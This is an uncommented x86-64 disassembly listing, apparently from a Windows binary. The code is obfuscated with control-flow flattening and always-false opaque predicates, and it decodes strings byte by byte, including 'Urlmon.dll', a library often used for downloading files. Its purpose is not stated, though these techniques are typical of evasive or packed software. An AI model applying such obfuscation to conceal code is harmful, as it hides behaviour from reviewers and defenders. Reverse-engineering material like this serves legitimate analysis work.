xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x5006b6e3
mov ecx, 0x6371172
cmovne eax, ecx
jmp 0x140021078
mov qword [rbp + 0x10], r9
mov eax, 0xdcf68662
jmp 0x1400489d0
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x616586f6
mov ecx, 0x6bf8a2e1
cmove eax, ecx
cmp dword [0x1400611d4], 0xa
cmovl eax, ecx
cmp eax, 0x3b717396
jle 0x140048a10
cmp eax, 0x616586f5
jg 0x140048a30
cmp eax, 0x3b717397
je 0x140048ed9
cmp eax, 0x5ca84ed3
jne 0x1400489d0
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x740697f
mov ecx, 0x146ff8c4
jmp 0x1400489c3
cmp eax, 0x740697e
jg 0x140048ec4
cmp eax, 0xdcf68662
je 0x1400489aa
cmp eax, 0x69fe3b9
jne 0x1400489d0
mov eax, 0x3b717397
jmp 0x1400489d0
cmp eax, 0x616586f6
je 0x140048ef7
cmp eax, 0x6bf8a2e1
jne 0x1400489d0
mov rbx, qword [rbp + 0x10]
mov eax, 0x79eb7f5e
mov qword [rbp + 8], rbx
jmp 0x140048a60
mov rax, qword [rbp + 0x68]
mov eax, 0x1c5311ff
nop word [rax + rax]
cmp eax, 0x1c5311fe
jg 0x140048aa0
cmp eax, 0xdc37527e
jle 0x140048ae0
cmp eax, 0xfb62902e
jg 0x140048b5c
cmp eax, 0xdc37527f
je 0x140048ba5
cmp eax, 0xf67b1067
jne 0x140048a60
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x58], rax
mov eax, 0x43fdb90c
jmp 0x140048a60
cmp eax, 0x52a30706
jle 0x140048b10
cmp eax, 0x78b3e779
jg 0x140048b7c
cmp eax, 0x52a30707
je 0x140048e0a
cmp eax, 0x7052d213
jne 0x140048a60
cmp byte [rbp + 0x37], 0
mov eax, 0x9ac96c38
mov ecx, 0x52a30707
cmovne eax, ecx
jmp 0x140048a60
cmp eax, 0x84014a92
je 0x140048a51
cmp eax, 0x8bdb97f7
je 0x140048e26
cmp eax, 0x9ac96c38
jne 0x140048a60
mov rax, qword [rbp + 0x48]
mov eax, 0xfb62902f
jmp 0x140048a60
cmp eax, 0x1c5311ff
je 0x140048e30
cmp eax, 0x43fdb90c
je 0x140048e73
cmp eax, 0x473294f0
jne 0x140048a60
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84014a92
mov ecx, 0x1c5311ff
cmove eax, ecx
cmp dword [0x1400611dc], 0xa
cmovl eax, ecx
jmp 0x140048a60
cmp eax, 0xfb62902f
je 0x140048e85
cmp eax, 0x69fcfd8
jne 0x140048a60
mov eax, 0x7052d213
jmp 0x140048a60
cmp eax, 0x79eb7f5e
jne 0x140048e93
lea rax, [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x58], 0
mov eax, 0x8bdb97f7
jmp 0x140048a60
mov r10, qword [rbp + 0x28]
movzx r9d, byte [rbp + 0x67]
mov eax, dword [0x1400611e0]
mov ecx, dword [0x1400611e4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x76]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x77]
or cl, al
movabs rax, 0x1180e677953d772d
lea r15, [r10 + rax]
movabs rax, 0x6e7f19886ac288d2
sub rax, r10
movabs rdx, 0x9180e677953d772d
add r10, rdx
movabs rdx, 0xbd57bf853c9183ef
and rax, rdx
movabs rdx, 0x42a8407ac36e7c10
and r15, rdx
or r15, rax
mov r11, r15
movabs rax, 0x3d57bf853c9183ef
xor r11, rax
test cl, cl
mov r14d, 0x626355b4
mov eax, 0x2b8b039c
cmovne r14d, eax
mov esi, 0x626355b4
mov eax, 0x3b28b0ea
cmovne esi, eax
mov r12d, 0x353895e8
mov eax, 0xd449edf9
cmovne r12d, eax
mov ecx, 0x353895e8
mov eax, 0x26784271
cmovne ecx, eax
mov r13d, 0x3dd73c9
mov eax, 0x9a8ea3a7
cmovne r13d, eax
mov eax, 0xfe262633
jmp 0x140048cb0
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov eax, 0x26784271
nop dword [rax]
mov edi, eax
cmp eax, 0x1ea36a24
jle 0x140048cf0
cmp edi, 0x353895e7
jg 0x140048d20
mov eax, ecx
cmp edi, 0x1ea36a25
je 0x140048cb0
cmp edi, 0x26784271
je 0x140048d6d
mov eax, edi
cmp edi, 0x2b8b039c
jne 0x140048cb0
mov eax, 0xac4b8031
jmp 0x140048cb0
cmp edi, 0xd449edf8
jle 0x140048d53
mov eax, esi
cmp edi, 0xd449edf9
je 0x140048cb0
cmp edi, 0xfe262633
je 0x140048d96
mov eax, edi
cmp edi, 0x3dd73c9
jne 0x140048cb0
mov eax, 0x85ff027e
jmp 0x140048cb0
cmp edi, 0x353895e8
je 0x140048c7b
mov eax, r14d
cmp edi, 0x3b28b0ea
je 0x140048cb0
mov eax, edi
cmp edi, 0x626355b4
jne 0x140048cb0
mov eax, 0x3b28b0ea
jmp 0x140048cb0
cmp edi, 0x85ff027e
je 0x140048db5
cmp edi, 0x9a8ea3a7
jne 0x140048dc1
mov eax, 0x1ea36a25
jmp 0x140048cb0
mov r8, qword [rbp + 0x50]
add r8, r10
mov rdx, qword [rbp + 0x50]
xor rdx, r15
movabs rax, 0x42a8407ac36e7c10
xor rdx, rax
and rdx, r11
add rdx, rdx
mov eax, r12d
jmp 0x140048cb0
movzx ebx, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov eax, 0x3dd73c9
mov edi, 0x85ff027e
cmovne eax, edi
test bl, bl
cmovne eax, edi
jmp 0x140048cb0
mov qword [rbp + 0x50], r9
mov eax, r13d
jmp 0x140048cb0
mov eax, edi
cmp edi, 0xac4b8031
jne 0x140048cb0
mov qword [rbp + 0x78], r8
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xc5
mov rcx, qword [rbp + 0x58]
mov rbx, qword [rbp + 8]
mov byte [rbx + rcx], al
mov rax, qword [rbp + 0x58]
add rax, 1
mov qword [rbp + 0x38], rax
mov eax, 0xf67b1067
jmp 0x140048a60
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov al, byte [rbx + rax]
mov byte [rbp + 0x67], al
mov eax, 0xdc37527f
jmp 0x140048a60
mov eax, 0x43fdb90c
jmp 0x140048a60
mov rax, qword [rbp + 0x68]
cmp rax, 0x21
setb byte [rbp + 0x37]
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400611dc], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0x69fcfd8
mov ecx, 0x84014a92
cmovne eax, ecx
jmp 0x140048a60
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x68], rax
mov eax, 0x473294f0
jmp 0x140048a60
mov qword [rbp + 0x40], rbx
mov eax, 0x78b3e77a
jmp 0x140048a60
cmp eax, 0x78b3e77a
jne 0x140048a60
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x20], rax
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x616586f6
mov ecx, 0x69fe3b9
jmp 0x1400489c3
cmp eax, 0x740697f
jne 0x14004935c
mov eax, 0x5ca84ed3
jmp 0x1400489d0
mov eax, dword [0x1400611d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x740697f
mov ecx, 0x5ca84ed3
jmp 0x1400489c3
mov rbx, qword [rbp + 0x10]
mov eax, 0x79eb7f5e
mov qword [rbp + 8], rbx
jmp 0x140048f10
mov rax, qword [rbp + 0x68]
mov eax, 0x1c5311ff
nop
cmp eax, 0x1c5311fe
jg 0x140048f50
cmp eax, 0xdc37527e
jle 0x140048f90
cmp eax, 0xfb62902e
jg 0x14004900c
cmp eax, 0xdc37527f
je 0x140049055
cmp eax, 0xf67b1067
jne 0x140048f10
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x58], rax
mov eax, 0x43fdb90c
jmp 0x140048f10
cmp eax, 0x52a30706
jle 0x140048fc0
cmp eax, 0x78b3e779
jg 0x14004902c
cmp eax, 0x52a30707
je 0x1400492ba
cmp eax, 0x7052d213
jne 0x140048f10
cmp byte [rbp + 0x37], 0
mov eax, 0x9ac96c38
mov ecx, 0x52a30707
cmovne eax, ecx
jmp 0x140048f10
cmp eax, 0x84014a92
je 0x140048f06
cmp eax, 0x8bdb97f7
je 0x1400492d6
cmp eax, 0x9ac96c38
jne 0x140048f10
mov rax, qword [rbp + 0x48]
mov eax, 0xfb62902f
jmp 0x140048f10
cmp eax, 0x1c5311ff
je 0x1400492e0
cmp eax, 0x43fdb90c
je 0x140049323
cmp eax, 0x473294f0
jne 0x140048f10
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84014a92
mov ecx, 0x1c5311ff
cmove eax, ecx
cmp dword [0x1400611dc], 0xa
cmovl eax, ecx
jmp 0x140048f10
cmp eax, 0xfb62902f
je 0x140049335
cmp eax, 0x69fcfd8
jne 0x140048f10
mov eax, 0x7052d213
jmp 0x140048f10
cmp eax, 0x79eb7f5e
jne 0x140049343
lea rax, [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x58], 0
mov eax, 0x8bdb97f7
jmp 0x140048f10
mov r10, qword [rbp + 0x28]
movzx r9d, byte [rbp + 0x67]
mov eax, dword [0x1400611e0]
mov ecx, dword [0x1400611e4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x76]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x77]
or cl, al
movabs rax, 0x1180e677953d772d
lea r15, [r10 + rax]
movabs rax, 0x6e7f19886ac288d2
sub rax, r10
movabs rdx, 0x9180e677953d772d
add r10, rdx
movabs rdx, 0xbd57bf853c9183ef
and rax, rdx
movabs rdx, 0x42a8407ac36e7c10
and r15, rdx
or r15, rax
mov r11, r15
movabs rax, 0x3d57bf853c9183ef
xor r11, rax
test cl, cl
mov r14d, 0x626355b4
mov eax, 0x2b8b039c
cmovne r14d, eax
mov esi, 0x626355b4
mov eax, 0x3b28b0ea
cmovne esi, eax
mov r12d, 0x353895e8
mov eax, 0xd449edf9
cmovne r12d, eax
mov ecx, 0x353895e8
mov eax, 0x26784271
cmovne ecx, eax
mov r13d, 0x3dd73c9
mov eax, 0x9a8ea3a7
cmovne r13d, eax
mov eax, 0xfe262633
jmp 0x140049160
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
mov eax, 0x26784271
nop dword [rax]
mov edi, eax
cmp eax, 0x1ea36a24
jle 0x1400491a0
cmp edi, 0x353895e7
jg 0x1400491d0
mov eax, ecx
cmp edi, 0x1ea36a25
je 0x140049160
cmp edi, 0x26784271
je 0x14004921d
mov eax, edi
cmp edi, 0x2b8b039c
jne 0x140049160
mov eax, 0xac4b8031
jmp 0x140049160
cmp edi, 0xd449edf8
jle 0x140049203
mov eax, esi
cmp edi, 0xd449edf9
je 0x140049160
cmp edi, 0xfe262633
je 0x140049246
mov eax, edi
cmp edi, 0x3dd73c9
jne 0x140049160
mov eax, 0x85ff027e
jmp 0x140049160
cmp edi, 0x353895e8
je 0x14004912b
mov eax, r14d
cmp edi, 0x3b28b0ea
je 0x140049160
mov eax, edi
cmp edi, 0x626355b4
jne 0x140049160
mov eax, 0x3b28b0ea
jmp 0x140049160
cmp edi, 0x85ff027e
je 0x140049265
cmp edi, 0x9a8ea3a7
jne 0x140049271
mov eax, 0x1ea36a25
jmp 0x140049160
mov r8, qword [rbp + 0x50]
add r8, r10
mov rdx, qword [rbp + 0x50]
xor rdx, r15
movabs rax, 0x42a8407ac36e7c10
xor rdx, rax
and rdx, r11
add rdx, rdx
mov eax, r12d
jmp 0x140049160
movzx ebx, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov eax, 0x3dd73c9
mov edi, 0x85ff027e
cmovne eax, edi
test bl, bl
cmovne eax, edi
jmp 0x140049160
mov qword [rbp + 0x50], r9
mov eax, r13d
jmp 0x140049160
mov eax, edi
cmp edi, 0xac4b8031
jne 0x140049160
mov qword [rbp + 0x78], r8
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xc5
mov rcx, qword [rbp + 0x58]
mov rbx, qword [rbp + 8]
mov byte [rbx + rcx], al
mov rax, qword [rbp + 0x58]
add rax, 1
mov qword [rbp + 0x38], rax
mov eax, 0xf67b1067
jmp 0x140048f10
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov al, byte [rbx + rax]
mov byte [rbp + 0x67], al
mov eax, 0xdc37527f
jmp 0x140048f10
mov eax, 0x43fdb90c
jmp 0x140048f10
mov rax, qword [rbp + 0x68]
cmp rax, 0x21
setb byte [rbp + 0x37]
mov eax, dword [0x1400611d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400611dc], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0x69fcfd8
mov ecx, 0x84014a92
cmovne eax, ecx
jmp 0x140048f10
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x68], rax
mov eax, 0x473294f0
jmp 0x140048f10
mov qword [rbp + 0x40], rbx
mov eax, 0x78b3e77a
jmp 0x140048f10
cmp eax, 0x78b3e77a
jne 0x140048f10
mov rax, qword [rbp + 0x40]
mov eax, 0x6bf8a2e1
jmp 0x1400489d0
cmp eax, 0x146ff8c4
jne 0x1400489d0
mov rax, qword [rbp + 0x20]
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
lea rax, str.Urlmon.dll
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov r8b, byte [rax]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov ecx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ecx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov ebx, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne ebx, eax
mov edx, 0xec7e2cc5
jmp 0x1400493f0
mov edx, 0x1ace8dcf
nop word cs:[rax + rax]
nop dword [rax]
mov edi, edx
cmp edx, 0x1ace8dce
jg 0x140049440
cmp edi, 0x2cd254d
jg 0x140049460
cmp edi, 0x8f8aa7a1
je 0x1400493de
cmp edi, 0xec7e2cc5
jne 0x1400494b0
movzx eax, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov edi, 0x1ace8dcf
mov edx, 0x1ace8dcf
jne 0x140049432
mov edx, 0x8f8aa7a1
test al, al
cmovne edx, edi
jmp 0x1400493f0
cmp edi, 0x46987e57
jg 0x140049480
mov edx, ebx
cmp edi, 0x1ace8dcf
je 0x1400493f0
mov edx, edi
cmp edi, 0x45917e58
jne 0x1400493f0
mov edx, ecx
jmp 0x1400493f0
cmp edi, 0x2cd254e
je 0x1400494a6
mov edx, edi
cmp edi, 0x4cf020a
jne 0x1400493f0
mov edx, 0x45917e58
jmp 0x1400493f0
mov edx, esi
cmp edi, 0x46987e58
je 0x1400493f0
mov edx, edi
cmp edi, 0x75aedf14
jne 0x1400493f0
mov edx, 0xa4151800
jmp 0x1400493f0
mov edx, 0x46987e58
jmp 0x1400493f0
mov edx, edi
cmp edi, 0xa4151800
jne 0x1400493f0
mov al, 0x63
sub al, r8b
and al, 0x84
add r8b, 0x1c
and r8b, 0x7b
or r8b, al
mov rax, qword [rbp + 0x28]
mov byte [rax], r8b
mov r8, qword [rbp + 0x28]
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 1]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov eax, 0x4cf020a
mov ecx, 0x45917e58
cmovne eax, ecx
mov edi, 0x8f8aa7a1
mov ecx, 0x2cd254e
cmovne edi, ecx
mov ebx, 0xec7e2cc5
jmp 0x140049550
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop dword [rax + rax]
mov esi, ebx
cmp ebx, 0x1ace8dce
jg 0x1400495a0
cmp esi, 0x2cd254d
jg 0x1400495c0
cmp esi, 0x8f8aa7a1
je 0x14004953c
cmp esi, 0xec7e2cc5
jne 0x140049610
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov esi, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x140049592
mov ebx, 0x8f8aa7a1
test cl, cl
cmovne ebx, esi
jmp 0x140049550
cmp esi, 0x46987e57
jg 0x1400495e0
mov ebx, edi
cmp esi, 0x1ace8dcf
je 0x140049550
mov ebx, esi
cmp esi, 0x45917e58
jne 0x140049550
mov ebx, edx
jmp 0x140049550
cmp esi, 0x2cd254e
je 0x140049606
mov ebx, esi
cmp esi, 0x4cf020a
jne 0x140049550
mov ebx, 0x45917e58
jmp 0x140049550
mov ebx, eax
cmp esi, 0x46987e58
je 0x140049550
mov ebx, esi
cmp esi, 0x75aedf14
jne 0x140049550
mov ebx, 0xa4151800
jmp 0x140049550
mov ebx, 0x46987e58
jmp 0x140049550
mov ebx, esi
cmp esi, 0xa4151800
jne 0x140049550
mov al, 0x63
sub al, r9b
and al, 0x85
add r9b, 0x1c
and r9b, 0x7a
or r9b, al
mov byte [r8 + 1], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 2]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov ebx, 0x4cf020a
mov eax, 0x45917e58
cmovne ebx, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov eax, 0xec7e2cc5
jmp 0x1400496a0
mov eax, 0x1ace8dcf
nop word [rax + rax]
mov esi, eax
cmp eax, 0x1ace8dce
jg 0x1400496f0
cmp esi, 0x2cd254d
jg 0x140049710
cmp esi, 0x8f8aa7a1
je 0x140049695
cmp esi, 0xec7e2cc5
jne 0x140049760
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov esi, 0x1ace8dcf
mov eax, 0x1ace8dcf
jne 0x1400496e1
mov eax, 0x8f8aa7a1
test cl, cl
cmovne eax, esi
jmp 0x1400496a0
cmp esi, 0x46987e57
jg 0x140049730
mov eax, edi
cmp esi, 0x1ace8dcf
je 0x1400496a0
mov eax, esi
cmp esi, 0x45917e58
jne 0x1400496a0
mov eax, edx
jmp 0x1400496a0
cmp esi, 0x2cd254e
je 0x140049756
mov eax, esi
cmp esi, 0x4cf020a
jne 0x1400496a0
mov eax, 0x45917e58
jmp 0x1400496a0
mov eax, ebx
cmp esi, 0x46987e58
je 0x1400496a0
mov eax, esi
cmp esi, 0x75aedf14
jne 0x1400496a0
mov eax, 0xa4151800
jmp 0x1400496a0
mov eax, 0x46987e58
jmp 0x1400496a0
mov eax, esi
cmp esi, 0xa4151800
jne 0x1400496a0
mov al, 0x63
sub al, r9b
and al, 0x86
add r9b, 0x1c
and r9b, 0x79
or r9b, al
mov byte [r8 + 2], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 3]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov ebx, 0x4cf020a
mov eax, 0x45917e58
cmovne ebx, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov eax, 0xec7e2cc5
jmp 0x1400497f0
mov eax, 0x1ace8dcf
nop word [rax + rax]
mov esi, eax
cmp eax, 0x1ace8dce
jg 0x140049840
cmp esi, 0x2cd254d
jg 0x140049860
cmp esi, 0x8f8aa7a1
je 0x1400497e5
cmp esi, 0xec7e2cc5
jne 0x1400498b0
movzx ecx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov esi, 0x1ace8dcf
mov eax, 0x1ace8dcf
jne 0x140049831
mov eax, 0x8f8aa7a1
test cl, cl
cmovne eax, esi
jmp 0x1400497f0
cmp esi, 0x46987e57
jg 0x140049880
mov eax, edi
cmp esi, 0x1ace8dcf
je 0x1400497f0
mov eax, esi
cmp esi, 0x45917e58
jne 0x1400497f0
mov eax, edx
jmp 0x1400497f0
cmp esi, 0x2cd254e
je 0x1400498a6
mov eax, esi
cmp esi, 0x4cf020a
jne 0x1400497f0
mov eax, 0x45917e58
jmp 0x1400497f0
mov eax, ebx
cmp esi, 0x46987e58
je 0x1400497f0
mov eax, esi
cmp esi, 0x75aedf14
jne 0x1400497f0
mov eax, 0xa4151800
jmp 0x1400497f0
mov eax, 0x46987e58
jmp 0x1400497f0
mov eax, esi
cmp esi, 0xa4151800
jne 0x1400497f0
mov al, 0x63
sub al, r9b
and al, 0x87
add r9b, 0x1c
and r9b, 0x78
or r9b, al
mov byte [r8 + 3], r9b
add r8, 4
mov qword [rbp + 0x50], r8
mov rax, qword [rbp + 0x38]
mov r8b, byte [rax + 4]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x80]
or cl, al
mov ecx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ecx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov ebx, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne ebx, eax
mov edx, 0xec7e2cc5
jmp 0x140049950
mov edx, 0x1ace8dcf
nop word cs:[rax + rax]
nop dword [rax]
mov edi, edx
cmp edx, 0x1ace8dce
jg 0x1400499a0
cmp edi, 0x2cd254d
jg 0x1400499c0
cmp edi, 0x8f8aa7a1
je 0x14004993d
cmp edi, 0xec7e2cc5
jne 0x140049a10
movzx eax, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov edi, 0x1ace8dcf
mov edx, 0x1ace8dcf
jne 0x140049992
mov edx, 0x8f8aa7a1
test al, al
cmovne edx, edi
jmp 0x140049950
cmp edi, 0x46987e57
jg 0x1400499e0
mov edx, ebx
cmp edi, 0x1ace8dcf
je 0x140049950
mov edx, edi
cmp edi, 0x45917e58
jne 0x140049950
mov edx, ecx
jmp 0x140049950
cmp edi, 0x2cd254e
je 0x140049a06
mov edx, edi
cmp edi, 0x4cf020a
jne 0x140049950
mov edx, 0x45917e58
jmp 0x140049950
mov edx, esi
cmp edi, 0x46987e58
je 0x140049950
mov edx, edi
cmp edi, 0x75aedf14
jne 0x140049950
mov edx, 0xa4151800
jmp 0x140049950
mov edx, 0x46987e58
jmp 0x140049950
mov edx, edi
cmp edi, 0xa4151800
jne 0x140049950
mov al, 0x63
sub al, r8b
and al, 0x88
add r8b, 0x1c
and r8b, 0x77
or r8b, al
mov byte [rbp + 0x58], r8b
mov ecx, 0x4d9cf004
jmp 0x140049a61
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3469ddb7
mov eax, 0xa0dbb166
cmove ecx, eax
cmp dword [0x1400611f4], 0xa
cmovl ecx, eax
cmp ecx, 0x3469ddb6
jle 0x140049d60
cmp ecx, 0x540bdb7f
jle 0x140049d90
cmp ecx, 0x540bdb80
je 0x140049e09
cmp ecx, 0x5d672a3f
je 0x140049a3b
cmp ecx, 0x7a00c67b
jne 0x140049a61
mov rax, qword [rbp + 0x50]
mov cl, byte [rbp + 0x58]
mov byte [rax], cl
mov r9, qword [rbp + 0x50]
mov rax, qword [rbp + 0x38]
mov r10b, byte [rax + 5]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov ebx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ebx, eax
mov ecx, 0x4cf020a
mov eax, 0x45917e58
cmovne ecx, eax
mov esi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne esi, eax
mov edi, 0xec7e2cc5
jmp 0x140049b10
mov edi, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, edi
cmp edi, 0x1ace8dce
jg 0x140049b60
cmp eax, 0x2cd254d
jg 0x140049b80
cmp eax, 0x8f8aa7a1
je 0x140049b00
cmp eax, 0xec7e2cc5
jne 0x140049bce
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov edx, 0x1ace8dcf
mov edi, 0x1ace8dcf
jne 0x140049b4c
mov edi, 0x8f8aa7a1
test al, al
cmovne edi, edx
jmp 0x140049b10
cmp eax, 0x46987e57
jg 0x140049ba0
mov edi, esi
cmp eax, 0x1ace8dcf
je 0x140049b10
mov edi, eax
cmp eax, 0x45917e58
jne 0x140049b10
mov edi, ebx
jmp 0x140049b10
cmp eax, 0x2cd254e
je 0x140049bc4
mov edi, eax
cmp eax, 0x4cf020a
jne 0x140049b10
mov edi, 0x45917e58
jmp 0x140049b10
mov edi, ecx
cmp eax, 0x46987e58
je 0x140049b10
mov edi, eax
cmp eax, 0x75aedf14
jne 0x140049b10
mov edi, 0xa4151800
jmp 0x140049b10
mov edi, 0x46987e58
jmp 0x140049b10
mov edi, eax
cmp eax, 0xa4151800
jne 0x140049b10
mov al, 0x63
sub al, r10b
and al, 0x89
add r10b, 0x1c
and r10b, 0x76
or r10b, al
mov byte [r9 + 1], r10b
add r9, 2
mov qword [rbp + 0x78], r9
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 6]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x140049c60
mov ebx, 0x1ace8dcf
nop dword [rax]
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x140049cb0
cmp eax, 0x2cd254d
jg 0x140049cd0
cmp eax, 0x8f8aa7a1
je 0x140049c57
cmp eax, 0xec7e2cc5
jne 0x140049d1e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x140049c9c
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x140049c60
cmp eax, 0x46987e57
jg 0x140049cf0
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x140049c60
mov ebx, eax
cmp eax, 0x45917e58
jne 0x140049c60
mov ebx, edx
jmp 0x140049c60
cmp eax, 0x2cd254e
je 0x140049d14
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x140049c60
mov ebx, 0x45917e58
jmp 0x140049c60
mov ebx, esi
cmp eax, 0x46987e58
je 0x140049c60
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x140049c60
mov ebx, 0xa4151800
jmp 0x140049c60
mov ebx, 0x46987e58
jmp 0x140049c60
mov ebx, eax
cmp eax, 0xa4151800
jne 0x140049c60
mov al, 0x63
sub al, r9b
and al, 0x8a
add r9b, 0x1c
and r9b, 0x75
or r9b, al
mov byte [rbp + 0x48], r9b
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x98cbd77f
mov eax, 0xa212e216
jmp 0x140049a54
cmp ecx, 0xcabcdf41
jg 0x140049dd0
cmp ecx, 0x98cbd77f
je 0x140049e27
cmp ecx, 0xa212e216
jne 0x14004a61e
mov ecx, 0xcabcdf42
jmp 0x140049a61
cmp ecx, 0x3469ddb7
je 0x14004a0b5
